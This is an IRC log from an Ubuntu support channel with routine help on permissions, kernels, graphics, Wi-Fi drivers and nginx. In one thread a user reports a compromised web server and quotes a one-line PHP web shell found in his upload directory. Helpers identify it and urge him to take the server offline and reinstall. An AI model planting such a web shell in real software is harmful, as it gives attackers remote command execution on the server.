[11:48] <cfhowlett> https://hexchat.readthedocs.io/en/latest/faq.html#how-do-i-autoconnect-and-join-a-channel-on-start
[11:49] <cvdd43> yes thanks so much chfhowlett
[11:49] <cfhowlett> happy2help! and welcome to *buntu
[11:50] <Ascavasaion> tomreyn: Are you here?
[11:51] <ericrajuin> the livecd username login is livecd I believe
[11:51] <TyrfingMjolnir> cvdd43: What's wrong with irssi?
[11:52] <cvdd43> just asecond
[11:55] <cvdd43> it doesnt work
[11:55] <luxio> theres a bug where when im resizing a window a black box flashes around it
[11:56] <luxio> is this known
[11:56] <TyrfingMjolnir> A black box flashes around what?
[11:57] <cvdd43>  who have kali linux here
[11:58] <cfhowlett> no one. this is ubuntu support.  kali is not supported
[11:58] <cvdd43> yes
[11:58] <cfhowlett> !kali | cvdd43
[12:08] <cvdd43> who is online
[12:09] <cvdd43> admin meeeee!!!
[12:09] <tomreyn> cvdd43: do you have an ubuntu support question?
[12:09] <cvdd43> some how ;)
[12:10] <tomreyn> cvdd43: for "some how":
[12:10] <tomreyn> !ot
[12:10] <cvdd43>  /msg ubottu !register
[12:11] <cvdd43> wtf
[12:11] <cvdd43> iam sorry
[12:14] <cvdd43> how old are you guys
[12:14] <cvdd43> ???
[12:15] <cfhowlett> cvdd43, dude.  stop.  this is not a chitchat channel.
[12:15] <cvdd43> hhh
[12:15] <cvdd43> ;)
[12:15] <cvdd43> ohh
[12:15] <cvdd43> iam sorry
[12:15] <cfhowlett> perhaps #ubuntu-offtopic would be better for you.  In any case, read and follow the !guidelines
[12:17] <Ascavasaion> tomreyn!!!
[12:18] <Ascavasaion> tomreyn: I eventually got 64 bit Ubuntu onto that machine... went back into the logs and did each step you and TJ- told me.  It worked PERFECTLY and all the data seems to be intact as well.
[12:18] <ericrajuin> is there a way to search youtube so that yt doesn't knw that Ive search such words
[12:19] <ericrajuin> and to dl such video ofc
[12:19] <cvdd43> no you cant
[12:19] <cfhowlett> sounds like a youtube support query, not an ubuntu query.
[12:19] <aarrggghhmonster> Does ubuntu 18.04 come with gnome or unity?
[12:20] <cfhowlett> ericrajuin, download is easy.  youtube-dl youtubeURLgoeshere
[12:20] <ericrajuin> I guess it's not ubuntu related
[12:20] <ericrajuin> yes i am famaliar with yt-dl
[12:20] <cfhowlett> aarrggghhmonster, by default, it will come with gnome.  unity is no longer being officially supported
[12:20] <aarrggghhmonster> cfhowlett: That's fine
[12:20] <aarrggghhmonster> I'm happy to see it's coming out quite soon. I want to re-install ubuntu but I can wait a month I suppose
[12:21] <cfhowlett> if you have sufficient ram, you could always do a virtualbox best of the 18.04 beta
[12:21] <aarrggghhmonster> Too much effort for no gain?
[12:21] <cfhowlett> well, you seemed a bit ... impatient?
[12:22] <SlidingHorn> You won't even have to wait that long...beta's out in like a week
[12:23] <TyrfingMjolnir> How can I make an account that runs a script and logs out?
[12:23] <TyrfingMjolnir> If I would like to do useradd -m reboot
[12:23] <TyrfingMjolnir> and have a script in user reboot that does: init 5
[12:23] <TyrfingMjolnir> I want the script to run auto magically
[12:26] <promille> Hi guys. I'm installing 17.10 in VMWare Workstation pro. Does 4GB memory, 4 processors (1 core per processor) and 10GB storage sound OK. The computer is a Lenovo X1 Carbon (5th gen) with 8GB Ram, i5-7200U @ 2.50GHz (4 CPU)
[12:26] <cvdd43> YES ITS GOOD
[12:27] <ppf> TyrfingMjolnir: automatically when
[12:27] <cfhowlett> promille, yes, that should do nicely.
[12:27] <promille> cfhowlett: thanks. is it overkill?
[12:28] <cfhowlett> promille, open 5 -6 ffirefox tabs, start a youtube video and see what happens
[12:28] <ppf> start eclipse
[12:28] <promille> Well its a little late after I've made the VDI :)
[12:29] <promille> But I tried with 1GB ram and 1 CPU and firefox was very slow
[12:29] <TyrfingMjolnir> ppf: if I do ssh reboot@10.0.0.10
[12:29] <ppf> ah
[12:30] <cfhowlett> 1gb ram?  yeah, that would happen
[12:30] <TyrfingMjolnir> It should not give me a terminal; the script should run
[12:30] <ppf> why not do ssh 10.0.0.10 reboot
[12:30] <promille> cfhowlett: that was the default setting in workstation, I was a little surprised ^^
[12:30] <ppf> TyrfingMjolnir: literally has the same amount of characters
[12:30] <TyrfingMjolnir> Because the actual command is not reboot
[12:30] <SlidingHorn> TyrfingMjolnir, is it a repeating thing?  If so there's always cron
[12:30] <TyrfingMjolnir> It's a set of services
[12:31] <EriC^> TyrfingMjolnir: you can run a script
[12:31] <TyrfingMjolnir> Once every 1 - 15 days
[12:31] <ppf> then put the reboot script into your path and name it reboot
[12:31] <TyrfingMjolnir> When a service hangs
[12:31] <concretelogic> hello i am trying to change the permissions on a folder on the terminal with sudo chown -R username:group directory, but the directory i'm trying to access has a space in the middle as in "this drive" and my terminal says there is no directory, what can i do?
[12:31] <TyrfingMjolnir> this\ drive
[12:31] <vargfrost> anyone where that can help me to setup dnscrypt-proxy on Ubuntu 17.10? After follow this guide at: http://www.ubuntubuzz.com/2017/11/how-to-install-dnscrypt-on-ubuntu-1710.html   my network was lost and i could not connect to internet. I sould add that the guide is rong at some places,   rm or modify /etc/resolv.conf is useless because that file is overwritten or restore at next system boot.
[12:31] <ppf> or, you know, "this drive"
[12:31] <EriC^> concretelogic: use double quotes on it, chown -R username:group "this drive"
[12:32] <concretelogic> seriously?
[12:32] <EriC^> concretelogic: yeah :)
[12:33] <concretelogic> damn, i answered my own question, not fair, I think it's working now, thank you so much
[12:33] <concretelogic> ;)
[12:33] <concretelogic> :)
[12:33] <EriC^> haha :D no problem
[12:35] <ppf> :)
[12:36] <aarrggghhmonster> cfhowlett: I wasn't being impatient. I just want a clean install of ubuntu
[12:36] <aarrggghhmonster> I'll wait a month and do it then :-)
[12:36] <cfhowlett> sounds like a plan.
[12:36] <cfhowlett> although ...
[12:36] <samik> Anyone here facing hang while installing ebtables on 17.10?
[12:37] <aarrggghhmonster> although what?
[12:37] <cfhowlett> are you running LTS only?  if so, you might want to wait a bit.  I only install at the .1 release to get the first round of fixes out of the way.  YMMV
[12:37] <samik> Or know where to find log_daemon_message output?
[12:37] <aarrggghhmonster> I stick to LTS because I dislike how many wifi driver issues I get otherwise
[12:39] <samik> Actually the hangup is while starting the ebtables service, journalctl doesn't give any useful info other than "Starting ebtables ruleset management"
[12:40] <samik> but the start script contains some log_**_message calls, might be helpful if I could find where their output goes
[12:41] <samik> But since starting it is a part of installation the installation also hangs
[12:41] <vargfrost> or does dnscrypt only work on wired connections and not wifi?
[12:44] <samik> Just went to install gns3-gui to run some virtualbox VMs, now I'm actually digging ebtables startup issues
[12:51] <samik> Can someone help me with that?
[13:07] <|||> /part
[13:14] <chimango> hi, got this application that was zipped, you launch it from terminal by calling a .sh script that adds a PATH
[13:14] <chimango> how can I make a .desktop launcher, just writing the .sh does not work
[13:30] <ericrajuin> chimango: I think in the desktop file, the exec part ; exec="path to your script/ script.sh"
[13:42] <rockdarko> Good day, I have a question about packages. I run Ubuntu server and website beyondsecurity[dot]com reports "high risk" vulnerability issues that are beyond my expertise to understand. I plan to educate myself on these but was wondering if there was any way to have Ubuntu pull packages that are more up to date and if it would be considered a high risk to do so.
[13:43] <rockdarko> I mean, there is a difference between up to date and going full Arch experemental is there? Or is there not? I'm running Ubuntu 16.04.4 LTS.
[13:43] <skinux> I a mgetting connection refused for every web server I try to use.
[13:43] <tomreyn> Ascavasaion: glad to hear this, thanks for the feedback
[13:44] <skinux> I mean local host web servers.
[13:44] <rockdarko> One example of what I am getting: * In Apache httpd before 2.2.34 and 2.4.x before 2.4.27, the value placeholder in [Proxy-]Authorization headers of type 'Digest' was not initialized or reset before or between successive key=value assignments by mod_auth_digest. Providing an initial key with no '=' assignment could reflect the stale value of uninitialized pool memory used by the prior request, leading to leakage of
[13:44] <rockdarko> potentially confidential information, and a segfault in other cases resulting in denial of service.
[13:45] <rockdarko> Sorry for the novel guys. I actually typed all this except for the security alert obviously.
[13:45] <albrecht> rockdarko: There's going to be a new LTS coming in a week or so, so that's good new for you
[13:45] <tomreyn> !latest | rockdarko
[13:45] <rockdarko> albrecht: Lovely. Thanks.
[13:45] <tomreyn> rockdarko: please read ubottus message
[13:46] <rockdarko> tomreyn: So basically, when it comes to packages, there is Ubuntu-safe and Arch-risky and no really in-between?
[13:46] <tomreyn> the software you get in ubuntu receives security patches, backported from current version sof the software
[13:46] <rockdarko> tomreyn: I did, thanks so much.
[13:46] <rockdarko> tomreyn: oh, interesting.
[13:46] <skinux> I've tried nginx, php artisan (laravel), and now xsp (mono), like 4-5 ports and they all get connection refused
[13:47] <tomreyn> so these messages you encountere don beyondsecurity.com (probably generated by nessus) may not, and probably did not, take into account that these patches were backported
[13:47] <eeb> I have an unusual wifi issue, and wondering if anyone has seen this. My wifi will connect fine on first boot. It connects automatically at the log in screen. However, once logged in, if I want to change networks, or disconnect and reconnect to the same network, it says the password is wrong
[13:48] <eeb> Running 17.10, wayland/gnome (default install)
[13:48] <tomreyn> rockdarko: ^ to get a reliable idea of whether your installation is affected by these vulnerabilities, you will need to get the "CVE" identifiers provided and check those against https://people.canonical.com/~ubuntu-security/cve/
[13:49] <rockdarko> tomreyn: wow I knew I would get some help in here but you are one fregging gem! Thanks for much!
[13:49] <tomreyn> rockdarko: :) welcome
[13:49] <tomreyn> you may also want to read https://wiki.ubuntu.com/SecurityTeam on this and similar topics
[13:50] <tomreyn> also https://wiki.ubuntu.com/SecurityTeam/FAQ
[13:50] <Yndurain> eeb: try editing the connection manually from Network Settings. choose the network you're trying to connect to, and in the Security tab enter the password manually
[13:50] <skinux> Found it! I uninstalled iptables, which uninstalled ufw and ubuntu-standard, that took care ofi t
[13:50] <Yndurain> then save it, and see if a reboot makes it behave correctly
[13:51] <eeb> I can do that, and when it reboots it connects to whichever network I have manually chosen, but the same issue persists once logged in
[13:51] <tomreyn> skinux: no need to uninstall these, you just needed to remove / replace the incorrect policy.
[13:52] <rockdarko> tomreyn: thanks again. you are so spoiling me here.
[13:53] <tomreyn> glad i could help
[13:55] <joopm> hello all
[13:55] <joopm> i would like to ask a little help
[13:55] <joopm> what is the correct permission for fileuploading directory?I want to prevent executing scripts
[13:56] <joopm> but if i try 666 thats not allow even file upload because move_upload_file php function does not work
[13:56] <joopm> failed to open stream: Permission denied
[13:57] <TJ-> joopm: directories generally have +x (traverse) permission, files only rw
[13:57] <joopm> okey thank you
[13:58] <joopm> what would be good in this case?
[13:59] <TJ-> joopm: if directories don't have +x then presumably the 'move_upload_file() cannot traverse directories to the destination
[14:00] <joopm> oh i see
[14:01] <eeb> Yndurain: but thanks for the suggestion. weird behaviour indeed
[14:02] <Yndurain> you're--
[14:02] <Yndurain> heh
[14:02] <joopm> okey i set back to 777,but i am affraid that uploaded scripts will be executable
[14:06] <TJ-> joopm: as I said, only directories need the +x, not files, +rx is sufficient for read/traverse. Do NOT set +x on files
[14:07] <joopm> chmod xxx directoryName will set the directory permission,but whats the way to set permission of the directory files than?
[14:09] <TJ-> joopm:  "chmod -R 664 path/to/dir; chmod -R ugo+X path/to/dir" (+X only sets traverse (x) bit on the directories)
[14:09] <TJ-> joopm: see "man chmod" for details of how the flags work
[14:10] <skinux> Why does firewall block localhost loopback connections by default?
[14:11] <TJ-> skinux: there are no 'default' firewall rules; it depends on what package is used and it's defaults
[14:11] <skinux> Well, iptables did at laest
[14:12] <skinux> Is shoreline a better firewall?
[14:13] <TJ-> skinux: no, iptables is a tool that is called when the user, admin, or some package, has defined some rues
[14:14] <TJ-> skinux: the kernel *is* the firewall; shoreline, ufw, are just user-friendly management front-ends that have packaged sets of rules
[14:14] <skinux> Oh, okay.
[14:14] <skinux> Well, what I'd like is a GUI front-end
[14:16] <shmoon> Can someone help me installing `perf` tool ? whenever i try to use it it throws errors like "dpkg: warning: version '4.14.12-x86_64' has bad syntax: invalid character in revision number"
[14:20] <holden> Hello guys, I have a problem with apt-get: https://paste.ubuntu.com/p/5JTrnW9j3p/ Could anybody help? Thanks!
[14:22] <garrettkajmowicz> Is the Ubuntu package website 'list of files' feature known/expected to be broken? Trying to view files returns an error: https://packages.ubuntu.com/xenial/linux-image-4.13.0-37-generic
[14:23] <SlidingHorn> holden, Yakkety is EOL and no longer supported
[14:23] <SlidingHorn> holden, see !eol for more info
[14:23] <holden> !eol
[14:25] <ericrajuin> sry is this channel for official ubuntu support only ? I thought this is the channel for general ubuntu chat .
[14:25] <lotuspsychje> garrettkajmowicz: that url works here
[14:25] <SlidingHorn> ericrajuin, try #ubuntu-offtopic
[14:26] <skinux> Okay. Well, apparently my real problem is my web browsers keep closing connection with the servers.
[14:26] <skinux> I'm using Opera and Firefox.
[14:27] <garrettkajmowicz> lotuspsychje: Did you click on the "list of files" at the bottom? I get "No such package in this suite on this architecture."
[14:27] <holden> SlidingHorn, yes, I understand it is EOL, but I can't upgrade right now. Any solution to fix my problem for the time being?
[14:28] <ericrajuin> so this is an official support channel ?
[14:28] <lotuspsychje> !support | ericrajuin yes
[14:28] <Mr_Viver> hello
[14:29] <lotuspsychje> garrettkajmowicz: wich ubuntu version are you on, and what are you trying to do exactly?
[14:29] <ericrajuin> okay thanks
[14:31] <garrettkajmowicz> lotuspsychje: I'm on 16.04 LTS. For some reason I'm still on a 3.13 kernel. However, when I tried upgrading to a 4.x kernel I no longer had r816[89] drivers. So I was trying to figure out which kernels had the correct modules.
[14:31] <skinux> How do I determine exactly which version of Ubuntu I'm using?
[14:32] <lotuspsychje> skinux: lsb_release -a && uname -a
[14:33] <investigador03> alguien por ahi?
[14:33] <lotuspsychje> !es | investigador03
[14:34] <lotuspsychje> garrettkajmowicz: yeah some chipset are a pain lately
[14:35] <garrettkajmowicz> lotuspsychje: Normally I'd ignore it, but the kernel 3.13 kernel has been having the NIC chipset get into funky states where I need to reboot the machine every few days. I was hoping a new kernel would improve that.
[14:35] <lotuspsychje> !info linux-image-generic xenial | garrettkajmowicz
[14:35] <TJ-> garrettkajmowicz: the package-list is fine, it's just that the package is no longer in xenial-security, it's in xenial-updates. See https://packages.ubuntu.com/xenial-updates/amd64/linux-image-4.13.0-37-generic/filelist
[14:37] <AuroraAvenue> Qu, Which App would be the best way to check my texts & SMS on bionic beaver 18.04 ?
[14:37] <lotuspsychje> AuroraAvenue: #ubuntu+1 for 18.04 support please
[14:38] <garrettkajmowicz> TJ-: Awesome! At least that shows that the driver isn't in that version either. But the extra modules seems to include it. Yay! Thanks, all!
[14:38] <AuroraAvenue> lotuspsychje,  thank-you. I shall try during the working week.
[14:39] <TJ-> garrettkajmowicz: it's certainly a bug in the web-site; I'll try to get it addressed
[14:40] <garrettkajmowicz> TJ-: Cool! And no worries - I have this "special" ability to find bugs. A few months ago I found 3 bugs in the treadmill software at the fitness facility I use.
[14:41] <kus_ubuntui686> hello, what is the way to use an external usb hard disk connected over usb in artful in current year?
[14:44] <lotuspsychje> kus_ubuntui686: explain what you mean exactly?
[14:45] <kus_ubuntui686> I am trying to copy some files from the computer to the external hard disk but I rebooted the computer and I think gnome usually mounts the usb hard disk when I am there in person https://paste.fedoraproject.org/paste/CN51mtLeWAfFWeSOKPprWg/raw
[14:46] <kus_ubuntui686> *usually mounts it automatically to something like /media/kus/hp or something
[14:46] <dasmi_> what does ../.. mean?
[14:47] <SlidingHorn> dasmi_, up 2 directories from the present
[14:48] <dasmi_> SlidingHorn, can you explain me how do you understand it? I know that ./ means the current directory; what does the . before ./ and two . after ./ mean?
[14:49] <SlidingHorn> dasmi_, two dots is "up" - if I'm in /user/bin and I cd .. I go "up" to /usr - if I go cd ../.. I'd be in /
[14:49] <SlidingHorn> dasmi_, ./ is the same (i think) as .
[14:50] <dasmi_> SlidingHorn, now it makes sense to me, thanks a lot
[15:14] <c31r2g> hello
[15:15] <lotuspsychje> c31r2g: welcome how can we help you?
[15:15] <c31r2g> \m hello
[15:15] <c31r2g> i am new to linux
[15:15] <lotuspsychje> c31r2g: you joined the ubuntu support channel here
[15:15] <c31r2g> just found freenode and used google to come to this channel.
[15:16] <c31r2g> umm, thanks for the welcome. will wander around a bit to see more.
[15:16] <lotuspsychje> c31r2g: if you have ubuntu installed, this si the right place
[15:16] <bobo-ubuntu> hi, has anybody got experience with creating efi bootable ubuntu usb under live linux?
[15:17] <c31r2g> thanks for your time, well this is linux mint
[15:17] <lotuspsychje> !mint | c31r2g
[15:17] <c31r2g> cool, thank you =
[15:17] <c31r2g> l exit
[15:18] <ppf> bobo-ubuntu: just ask?
[15:18] <bobo-ubuntu> is it possible to create bootable ubuntu in live ubuntu?
[15:19] <akik> bobo-ubuntu: just write the ubuntu iso to the usb stick with dd, and run sync before removing the stick
[15:20] <bobo-ubuntu> akik, why sync b4 removing key?
[15:21] <jluc> to flush the copy-file buffers
[15:21] <akik> bobo-ubuntu: dd comes back to the shell before writing all data to the stick
[15:25] <joopm> hello
[15:25] <joopm> i have a strange feeling because there are unknown files in my upload directoryand i am sure that it was not uploaded through my fileupload script
[15:26] <joopm> how can i get more infos about those files? ls -l onlyshow the creation date and a daemon user
[15:27] <SlidingHorn> joopm, what are you trying to learn about them?
[15:27] <joopm> who and how made it
[15:28] <ppf> 'who' is the daemon user
[15:28] <joopm> there is a file pw.lst and i am affraid someone tried to stole passwords
[15:32] <Ludo_> Hi everybody
[15:34] <tomreyn> joopm: it's either thator your system is being used to attack other systems using these (common) passwords
[15:35] <tomreyn> joopm: what matters is that your system got at least partially compromised, and that's the root of this problem, the one you need to solve.
[15:35] <joopm> also there is a php script uploaded
[15:36] <joopm> which contain the above code system(urldecode($_REQUEST["cmd"]));
[15:36] <tomreyn> additionally you'll need to clean up (or better reinstall, restoring files form a clean backup) this system to regain control over your server.
[15:36] <tomreyn> until both things are done, your system and the data it stores aren't safe and not under your control, and you put other systems and people at risk.
[15:37] <tomreyn> that's a classic php remote shell
[15:39] <joopm> the first strange file owner is mysql
[15:39] <joopm> so prabably all the other scripts are made by that script
[15:39] <joopm> and it could be created through mysql
[15:40] <tomreyn> it may be a mysql file injection then
[15:40] <joopm> because the upload file form add special characters to the file name
[15:40] <TJ-> joopm: Take tomreyn's advice; that system is now toast, destroy it and re-install; only restore data files/config from a clean back up
[15:41] <s10gopal> TJ-, what should i do ?
[15:41] <joopm> my webserver running a php framework
[15:42] <tomreyn> joopm: if you want to investigate it further you can do so by mounting the file system from a clean linux system, such as as recovery system (if your host provides one).
[15:42] <tomreyn> but you need to shut this down now.
[15:46] <joopm> and in mysql database i see an unwanted table
[15:46] <joopm> called iojdvdd
[15:46] <TJ-> I'm trying to debug an X issue; I've added executable commands to a file in /etc/X11/Xsession.d/ but they don't seem to be executed. Other files in that directory appear to execute commands. Command (for testing) is "/usr/bin/touch /var/log/marker". What am I missing?
[15:47] <tomreyn> joopm: continuing to investigate this now without bringing the system down is highly irresponsible, since you are probably not the only one working on this system right now. if there is any user data stored there it can get compromised any second now.
[15:47] <SlidingHorn> joopm, seriously...you need to take this system offline and worry about forensics later. The priority is stopping the attack
[15:47] <TJ-> joopm: we don't need to know what is there, it's of no use to us. We've told you what you need to do.
[15:47] <TJ-> FYI: We had this same 'mysql' issue/attack reported a week or more back. possibly from the same user, but I cannot be sure.
[15:48] <s10gopal> TJ-, please help me
[15:48] <SlidingHorn> !ask s10gopal
[15:48] <ppf> !ask | s10gopal
[15:48] <ppf> :)
[15:48] <TJ-> s10gopal: You've been told what needs doing; get upstream Linux devs to work on fixing it, you've got a bug reported in the Linux bugzilla
[15:48] <SlidingHorn> ppf, thank you...I haven't been here in a while
[15:52] <s10gopal> !ping
[16:01] <cvdd43>  hye
[16:01] <cvdd43> any one here
[16:01] <cvdd43>  please respond
[16:02] <Javabean> !hi
[16:04] <cvdd43> hye
[16:04] <tomreyn> !ask | cvdd43
[16:04] <DJones> cvdd43: If you ask your ubuntu support question, you're more likely to get a response
[16:04] <cvdd43> why the hill are you talking with me like this
[16:05] <cvdd43> iam just saying hye where is the problem
[16:05] <s10gopal> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1745646 , the problem exists in latest kernel , but it dont happen in 4.9 and below
[16:14] <ayy1995> !ping
[16:15] <zeus> hi
[16:16] <Guest34818> does 1>&2 display the output to stderr
[16:17] <SlidingHorn> Guest34818, Get rid of the 1
[16:18] <Guest34818> for example if [ "$3" -n] && >&2 echo "error"
[16:24] <TJ-> Guest34818: that is wrong in many ways ... ' [ -n "$3" ] && echo "error" >&2 '  or ' if [ -n "$3" ]; then echo "error" >&2; fi '
[16:24] <cvdd43> nooo
[16:32] <s10gopal> after giving all details asked , status is needed to changed in bugzilla ?
[16:34] <SlidingHorn> s10gopal, if it's an upstream bug, there's really nothing anyone here can do about it
[16:36] <s10gopal> SlidingHorn, please tell me what status i should i choose ?
[16:37] <SlidingHorn> The status should probably only be changed by the developers investigating it
[16:38] <s10gopal> ok thx
[16:43] <alphawarrior> Hello everyone. I have a weird bug on a hp 701eg netbook. I have updated lubuntu from 17.4 to 17.10 yesterday and since then only the taskbar works. I can see the taskabr then the background is the lat thing that the tty had while booting. basically nothing else really works. If I open the terminal with ctrl+alt+t it is shown on the taskbar but doesn't really open. What can I do?
[16:47] <Bashing-om> alphawarrior: nvidia graphic's ? in 17.10 which desktop environment ?
[16:47] <alphawarrior> well it has the default intel graphics and it's the original lubuntu desktop
[16:49] <Bashing-om> alphawarrior: what returns ' echo $XDG_SESSION_TYPE ' ?
[16:50] <Bashing-om> alphawarrior: ( key combo ctl+alt+F2 at the login screen ) .
[16:50] <alphawarrior> yeah I know please wait I have to start it
[16:52] <alphawarrior> to me it seems like a driver issue: everytime i click on the desktop (which doesn't work) a rainbovy line appears and grows bigger on the top
[16:53] <alphawarrior> there is no XDG_SESSION_TYPE set only XDG_VTNR, XDG_SESSION_ID, XDG_DATA_DIR, XDG_SEAT and XDG_RUNTIME_DIR
[16:53] <Bashing-om> alphawarrior: maybe . pastebin ' sudo lshw -C display ' . See if the driver is loaded .
[16:54] <bobo-ubuntu> !patience
[16:58] <alphawarrior> https://drive.google.com/file/d/1QUxHCNS7JY4DK7DctUcbpDpc3Pm1wzDw/view?usp=sharing sorry but I can't upload a paste as I can't start a browser. btw I had to tick the "install additional drivers" in the installer when I was installing otherwise the display resolution wouldn't work
[17:07] <tgm4883> !pastebinit | alphawarrior
[17:07] <ioria> alphawarrior, that intel chip (945) carries a bug, iirc
[17:08] <alphawarrior> Well the graphics driver crashes on lid close...
[17:08] <ioria> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1724639
[17:09] <alphawarrior> oh so it's a kernel bug
[17:09] <Bashing-om> alphawarrior: O pass this off to ioria -- I have no experience with dual Intel graphic's sets . No driver is loaded for that 2nd card .
[17:09] <alphawarrior> can I somehow return to the 17.04 kernel which at least worked?
[17:10] <ioria> alphawarrior, that's it: or an old kernel (bad) or nomodeset
[17:10] <alphawarrior> nomodeset? kernel cmdline argument?
[17:11] <ioria> alphawarrior, yup or GRUB_GFXPAYLOAD_LINUX=text
[17:11] <alphawarrior> let me test that
[17:13] <alphawarrior> to which grub config file should I add that to?
[17:14] <ioria> alphawarrior, /etc/default/grub and run sudo update-grub
[17:14] <alphawarrior> thanks
[17:17] <TJ-> alphawarrior: have you tried creating a new user account and testing whether it's GUI works? If it does it means there's some setting stored in the regular user account tripping the DE up
[17:17] <alphawarrior> ioria: Thanks the GRUB_GFXPAYLOAD=text setting did fix it!!
[17:18] <ioria> alphawarrior, lucky guy
[17:18] <alphawarrior> oh why? are these drivers broken?
[17:18] <ioria> alphawarrior, only that chip
[17:19] <ioria> *for
[17:19] <alphawarrior> oh I see
[17:19] <alphawarrior> well the intel driver also crashes randomly on my i5-2520m cpu and on an other laptop too when i close the lid.
[17:20] <alphawarrior> I mean when it goes to sleep
[17:21] <ioria> alphawarrior, fully updated on that machine ?
[17:21] <alphawarrior> well those run the LTS release sadly not the pure ubuntu...
[17:24] <ioria> alphawarrior, 'pure ubuntu ' meaning you install something ouside repos or a derivative ?
[17:25] <alphawarrior> elementary...
[17:25] <ioria> ah, i see
[17:25] <alphawarrior> I have lots of data that I can't move away so I can't change back to normal ubuntu + elementary desktop
[17:26] <ioria> alphawarrior, yes it's not even in the off repos so you 'll still need a ppa for patheon
[17:32] <alphawarrior> yeah and also I1ve heard it needs xenial
[17:34] <ioria> nope, afaik
[17:35] <ioria> stable for trusty and xenial, daily for 17.10
[18:27] <icee> Hi, I'm on a mainline kernel from the ubuntu kernel-ppa for hardware support reasons
[18:28] <icee> there's no associated linux-tools package?  Am I out of luck if i want perf, etc?
[18:43] <TJ-> icee: which PPA exactly?
[18:46] <cvdd43> HYE
[18:57] <skinux> I need help with this error. The nginx channel said it's not about the server [info] 23903#23903: *516 shutdown() failed (107: Transport endpoint is not connected) while sending to client
[18:59] <tomreyn> skinux: unless you'll provide more context you won't make much progress here either, i'm afraid.
[19:01] <skinux> Trying to access my website on localhost, i get WSOD, and nginx error log provides this: https://gist.github.com/skinuxgeek/6aeb52d24fb63efd4bd17f8502bed8ea
[19:05] <tomreyn> skinux: are you saying your ubuntu system freezes with a white screen when you access your locally installed webserver using the http protocol? using a web browser?
[19:05] <tomreyn> which ubuntu release is this?
[19:06] <TJ-> tomreyn: this is a long running self-inflicted web-site that fails to send content to browser resulting in an empty page
[19:07] <ikonia> looks like fpm is involved too
[19:07] <tomreyn> so WSoD refer to the web page coming out empty?
[19:07] <ikonia> certanily a redirect to another daemon
[19:07] <tomreyn> *referS
[19:08] <TJ-> sounds to me like a websocket connection was closed premuturely on the browser/Javascript side
[19:09] <ikonia> not really an ubuntu problem though
[19:09] <tomreyn> unless the ubuntu client freezes while it happens, no.
[19:09] <ikonia> looks like the webserver either has duff content, or the redirect to whatever is running on port 9000 isn't completing the request to send an "ok" back to localhost on 80
[19:09] <ikonia> tomreyn: that's not freezing
[19:09] <ikonia> (look at the logs)
[19:10] <tomreyn> ikonia: these are web server logs, they don't say what the client does. skinux said "i get WSOD", i assume "i" refers to the requesting client.
[19:11] <ikonia> tomreyn: there is no such thing as a white screen of death
[19:11] <ikonia> he's getting a white page as the content isn't rednding
[19:11] <ikonia> rendering
[19:11] <tomreyn> The term "WSoD", or the way i know it, would refer to an OS fgreezing displaying just a white screen.
[19:11] <ikonia> which is common for the php wordpress app he's running
[19:11] <tomreyn> oh ok, just a bad explanation then
[19:11] <ikonia> it's a browser white screen not the desktop
[19:11] <ikonia> it is a bad explanation
[19:11] <tomreyn> you're probably right
[19:12] <ikonia> if the OS was freezing the web server logs would be incomplete
[19:12] <ikonia> they are complete and showing the error
[19:12] <TJ-> Notice the"upstream: "fastcgi://127.0.0.1:9000"" infers a proxied connection also
[19:12] <tomreyn> should probbaly used sockets if localhost
[19:12] <ikonia> the port 9000 problem not responding with "ok" to port 80 I was referencing earlier
[19:12] <tomreyn> *use
[19:12] <ikonia> it can't
[19:13] <TJ-> This has been a repeated issue from skinux over several weeks with some customised config involving nginx and lack of experience
[19:13] <tomreyn> why not?
[19:13] <ikonia> based on those logs it's wordpress using fpm
[19:13] <ikonia> TJ-: based on the scroll back in my logs, it looks like skinux is following some duff tutorial
[19:14] <tomreyn> right, you can run wordpress or any php scripts fine using nginx + fpm where nginx talks to fpm via sockets.
[19:14] <ikonia> tomreyn: the wp-cron doesn't work with sockets I believe
[19:14] <ikonia> not all the functions respond to sockets
[19:14] <ikonia> (but I'm working from memory to be honest)
[19:15] <tomreyn> okay, i'm not into the details
[19:15] <tomreyn> anyways, since skinux just put the question here and then ran itÄs hardly worth spending more time on it. ;)
[19:15] <tomreyn> *it's
[19:15] <TJ-> got to have something to keep our minds busy :p
[19:16] <xEth0sx> sup peeps
[19:16] <ikonia> skinux: have you followed a guide to set this up ?
[19:19] <xEth0sx> anyone help with a guide on wireless drivers? having issues getting one working. from what i can tell, as of january, support for a realtek c822 isnt available in ubuntu. its a relatively new comp. trying to install a netgear AC622. according to lsusb its there. i installed the driver. im guessing my issue is in blacklisting a default driver but i'm not sure hoe to do it
[19:19] <xEth0sx> *how
[19:21] <icee> TJ-: heh not from a ppa, from kernel-ppa http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15.13/
[19:23] <xEth0sx> or not :/
[19:23] <TJ-> icee: I'm pretty sure there was/is another location with the linux-tools ... but I may be mis-remembering and built them myself
[19:24] <jeremy31> xEth0sx is that USB?
[19:24] <xEth0sx> yes -usb.
[19:24] <xEth0sx> the onboard card isnt showing an available driver
[19:24] <jeremy31> xEth0sx in terminal> lsusb | nc termbin.com 9999
[19:25] <tomreyn> what's the device id, xEth0sx
[19:25] <xEth0sx> its the realtek c822
[19:25] <xEth0sx> one sec ill get it
[19:25] <TJ-> xEth0sx: you can identify an in-use driver (if any) with "ls -ld /sys/class/net/*/device/driver"
[19:25] <xEth0sx> us 001 Device 002: ID 0846:9052 NetGear, Inc. A6100 AC600 DB Wireless Adapter [Realtek RTL8811AU
[19:26] <xEth0sx> rtl8811au is the driver i installed for it
[19:26] <TJ-> xEth0sx: if I recall correctly the -AU driver is from a github repo, I did some hacking on it last year
[19:26] <ioria> xEth0sx, jeremy31 asked you lsusb | nc termbin.com 9999   , btw
[19:26] <TJ-> xEth0sx: ahh yes, I have it installed as a DKMS package rtl8812au_8821au-4.3.14.github.abperiasamy
[19:27] <xEth0sx> k gimme a sec let me get the machine up. i'm on my desktop ill log on to it so i can post from it. brb
[19:28] <ikonia> win 8
[19:28] <ikonia> oops
[19:28] <tomreyn> https://github.com/abperiasamy/rtl8812AU_8821AU_linux
[19:29] <TJ-> tomreyn:  right, that's the one : remote.origin.url=https://github.com/abperiasamy/rtl8812AU_8821AU_linux.git
[19:30] <tomreyn> check insights -> network on github, there are alternatives
[19:30] <TJ-> tomreyn: did we ever hear back from the person with the RAID+RAID1+LVM on-32-bit issue?
[19:30] <tomreyn> TJ-: yes, he responded earlier today saying it went well thanks to our instructions.
